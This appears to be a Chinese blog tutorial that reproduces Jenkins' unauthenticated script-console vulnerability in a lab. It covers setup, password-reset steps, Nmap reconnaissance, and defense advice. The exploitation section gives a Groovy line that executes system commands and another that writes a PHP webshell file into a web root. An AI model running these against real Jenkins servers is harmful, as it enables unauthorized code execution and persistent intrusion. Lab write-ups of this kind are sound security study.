Jenkins未授权访问漏洞

文章目录

    • 一、漏洞介绍
      • 1.1 Jenkins介绍
      • 1.2 漏洞原因
      • 1.3 利用条件
    • 二、环境配置
      • 2.1 配置主机
      • 2.2 下载安装
    • 三、漏洞利用
      • 3.1 信息收集
      • 3.2 漏洞利用
    • 四、防御建议

一、漏洞介绍

1.1 Jenkins介绍

  Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:

  1. 用于持续性、自动的构建/测试软件
  2. 项目监控或跑一些定时任务
  3. 监控外部调用执行的工作

1.2 漏洞原因

  Jenkins系统后台中可以执行系统脚本命令,(本作用是故障排除和诊断使用)

1.3 利用条件

  1. 使用低版本的Jenkins,默认没有登录控制
  2. 有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
  3. 控制台使用了弱密码

二、环境配置

2.1 配置主机

受害者IP:192.168.253.128

系统内核版本:
在这里插入图片描述

2.2 下载安装

下载一: 镜像站下载(优点:下载快;缺点:不支持所有版本)

  • https://mirrors.tuna.tsinghua.edu.cn/jenkins/redhat/
    Jenkins未授权访问漏洞_第1张图片

下载二: 官方下载(优点:版本全;缺点:下载慢)
官方下载系统内核对应的安装包(这里是rpm包安装方式)

  • http://mirrors.jenkins.io
    在这里插入图片描述

》》安装
Jenkins未授权访问漏洞_第2张图片
》》启动服务
在这里插入图片描述
》》防火墙配置(略,关闭防火墙/开通8080端口皆可)
》》浏览器访问8080端口进行 安装配置
Jenkins未授权访问漏洞_第3张图片
》》解锁
Jenkins未授权访问漏洞_第4张图片
》》安装插件
》》创建管理员账户
Jenkins未授权访问漏洞_第5张图片
》》成功登陆,退出后发现之前admin的密码没有
Jenkins未授权访问漏洞_第6张图片

忘记jenkins账户密码怎么办?(如使用rpm包安装使用此种方法!)
》》编辑jenkins全局配置文件(/var/lib/jenkins/config.xml)
Jenkins未授权访问漏洞_第7张图片
》》取消掉使用密码
Jenkins未授权访问漏洞_第8张图片
》》重置jenkins服务
systemctl restart jenkins / /etc/init.d/jenkins restart
》》然后再次访问web站点
Jenkins未授权访问漏洞_第9张图片
》》启用安全性,选择jenkisn自己的数据库,点击保存
Jenkins未授权访问漏洞_第10张图片
》》点击设置,配置管理员密码
Jenkins未授权访问漏洞_第11张图片

三、漏洞利用

3.1 信息收集

Nmap扫描对方web服务:(不限于8080默认端口)
Jenkins未授权访问漏洞_第12张图片
访问8080端口,如果没有登录限制如下这种情况:

Tips:以下这种情况有两种方式

  1. 低版本的jenkisns默认安装启动服务
  2. 配置中将登录密码验证关掉了(false)

Jenkins未授权访问漏洞_第13张图片

3.2 漏洞利用

》》点击系统管理
Jenkins未授权访问漏洞_第14张图片
》》点击脚本控制台
Jenkins未授权访问漏洞_第15张图片
》》执行并打印系统命令

println "hostname".execute().text

Jenkins未授权访问漏洞_第16张图片
如果知道web站点目录可写入一句话shell:(这里使用php站点举例)

new File("D:\\phpstudy_pro\\WWW\\php_shell.php").write('');

四、防御建议

  1. 配置Jenkins登录验证(只要不能进入控制台即可)

你可能感兴趣的:(漏洞复现,Jenkins,未授权访问,Jenkins未授权访问,未授权访问漏洞,漏洞)